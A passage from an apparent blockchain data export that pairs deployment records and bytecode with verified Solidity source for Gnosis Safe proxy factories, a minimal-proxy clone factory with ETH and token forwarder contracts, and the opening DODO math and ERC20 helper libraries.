uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,495 |
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|
7a5e5908acf1547a699a28964bd5524dd1d355dc0b7f95cffa7fa6fc5a186583
|
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|
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|
05583dd521fa2dd53245ccf4228147867b3715a6
|
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|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,502,496 |
1f5824a4a97e1b2aee72dad050c65a38dd55846c45e3de1e0e1bee0d8320e381
|
650bfd8874686ad8c7bc81f40ca1a15e17347a3cd5dae2a808011ec82653447d
|
d2c82f2e5fa236e114a81173e375a73664610998
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
37efb34cf1cdaf1ad8f665c39a0582c7be4ed835
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,502,496 |
1f5824a4a97e1b2aee72dad050c65a38dd55846c45e3de1e0e1bee0d8320e381
|
908a5a5e09de3bd5aebcb328e13429167a01bdd5c789635ad219d0f20b2bad05
|
55dbfff544642b9a33bdaee1fdeb315fbc5884be
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
ecaad588292d2f3ba131949e8513c7dff715741b
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,498 |
4cb331b43b3db4a16f5559e4cd9a948da0bc04764aa24a9df1c39efde2d46058
|
1b58208fb943fa72da647ddf9c6da0e43ebf58279f66b601995a6d73d4957319
|
0000db5c8b030ae20308ac975898e09741e70000
|
ed0e416e0feea5b484ba5c95d375545ac2b60572
|
581cc5d16b69f351f74ae8923e764cd10b645805
|
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// File: contracts/lib/InitializableOwnable.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/lib/FeeRateModel.sol
interface IFeeRateImpl {
function getFeeRate(address pool, address trader) external view returns (uint256);
}
interface IFeeRateModel {
function getFeeRate(address trader) external view returns (uint256);
}
contract FeeRateModel is InitializableOwnable {
address public feeRateImpl;
function setFeeProxy(address _feeRateImpl) public onlyOwner {
feeRateImpl = _feeRateImpl;
}
function getFeeRate(address trader) external view returns (uint256) {
if(feeRateImpl == address(0))
return 0;
return IFeeRateImpl(feeRateImpl).getFeeRate(msg.sender,trader);
}
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/DecimalMath.sol
/**
* @title DecimalMath
* @author DODO Breeder
*
* @notice Functions for fixed point number with 18 decimals
*/
library DecimalMath {
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
uint256 internal constant ONE2 = 10**36;
function mulFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d) / (10**18);
}
function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d).divCeil(10**18);
}
function divFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).div(d);
}
function divCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).divCeil(d);
}
function reciprocalFloor(uint256 target) internal pure returns (uint256) {
return uint256(10**36).div(target);
}
function reciprocalCeil(uint256 target) internal pure returns (uint256) {
return uint256(10**36).divCeil(target);
}
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
